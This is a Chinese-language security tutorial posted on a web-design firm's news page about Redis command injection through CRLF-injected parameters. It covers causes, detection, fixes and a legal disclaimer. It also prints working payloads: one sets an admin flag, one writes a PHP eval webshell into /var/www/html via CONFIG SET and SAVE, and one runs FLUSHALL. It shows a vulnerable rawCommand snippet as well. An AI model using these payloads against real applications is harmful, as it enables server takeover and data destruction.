恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案
首页
资讯中心
/
第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案
第五篇:Redis 命令注入漏洞|成因、Payload 利用场景与代码层防御方案
发布时间:2026/10/5 13:11:06
摘要Redis 命令注入一般出现在应用直接拼接用户可控参数构造 Redis 命令的场景攻击者可以注入恶意 Redis 指令读写缓存、修改持久化配置严重时可配合写入文件拿下服务器权限。本文讲解漏洞成因、实战场景、Payload 示例以及完整防御方案。前言提到 Redis 安全大家最熟悉未授权访问、主从复制 RCE很容易忽略Redis 命令注入。 这类漏洞根源不在 Redis 本身而是后端代码直接把前端传入的用户参数不加过滤拼接进 Redis 命令直接交给 Redis 执行。 攻击者可以截断原有 Redis 语句追加任意 Redis 指令实现数据篡改、文件写入在特定条件下甚至拿到服务器权限。一、漏洞产生原理正常业务伪代码示例危险写法// 用户输入 $name $_GET[name]; $cmd SET user_name . $name; $redis-rawCommand($cmd);如果后端使用rawCommand原生执行命令直接拼接用户可控输入没有转义特殊分隔符攻击者传入带换行符的 payload就可以切断原有命令新增多条 Redis 指令。Redis 协议使用\r\n作为命令分隔符%0d%0a是 URL 编码后的\r\n这就是注入的核心。区分未授权访问攻击者直连 Redis 服务不需要应用参与Redis 命令注入通过 Web 应用作为媒介利用代码漏洞向 Redis 注入指令攻击者无法直接连接 Redis二、漏洞利用场景与 Payload场景 1写入恶意数据、覆盖缓存传入 payloadtest%0d%0aSET admin_is_admin 1%0d%0a拼接后执行的 Redis 命令变成SET user_name test SET admin_is_admin 1攻击者直接修改缓存里管理员标识实现越权登录。场景 2配合持久化写入 Webshell条件苛刻前提Redis 有写入网站目录权限知道网站物理路径。 Payload 示例 URL 编码aaa%0d%0aCONFIG SET dir /var/www/html%0d%0aCONFIG SET dbfilename shell.php%0d%0aSET shell ?php eval($_POST[cmd]);?%0d%0aSAVE%0d%0a拼接后多条指令依次执行将一句话木马保存到网站目录。场景 3清空 Redis 全部数据xxx%0d%0aFLUSHALL%0d%0a业务缓存全部清空网站业务崩溃。三、漏洞检测思路找到传入参数可控的接口尝试传入%0d%0a观察是否触发多条命令执行尝试注入简单命令例如%0d%0aKEYS *%0d%0a看是否返回 key 列表代码审计重点查找rawCommand、eval原生命令执行是否直接拼接外部输入。注意使用 SDK 封装好的set()、get()方法一般不会存在注入。 危险点rawCommand、自行组装 Redis 协议原始命令。四、修复与防御方案禁止拼接用户输入构造原生 Redis 命令优先使用 SDK 封装好的方法参数作为函数参数传入由 SDK 自动处理转义不要手动拼接字符串。 ✅安全写法PHP 示例$redis-set(user_name, $name);严格过滤输入 如果必须使用 rawCommand对用户输入过滤\r、\n、换行等控制字符。Redis 最小权限原则禁止 Redis 以 root 运行限制 RDB/AOF 写入目录禁止写入网站根目录重命名高危命令CONFIG、SAVE、FLUSHALL等。网络层面防护 Redis 内网部署不暴露公网设置密码。输入输出校验 对业务参数做白名单校验限制参数长度、字符类型只允许业务所需字符。五、易混淆知识点总结Redis 命令注入属于应用层代码漏洞不是 Redis 服务本身漏洞注入核心是\r\n换行分隔符Redis 协议用换行分割多条命令主流语言 Redis 客户端Java Jedis、PHP redis 扩展调用封装 API 天然防御只有手写原始命令才会踩坑。总结Redis 命令注入相比未授权访问利用门槛更高但是在代码审计和渗透测试中经常出现。开发人员不要手动拼接 Redis 原始命令尽量使用 SDK 封装 API就能从根源杜绝该漏洞。安全防护需要兼顾服务本身安全 业务代码安全。免责声明本文仅用于网络安全学习研究未经授权的渗透测试属于违法行为。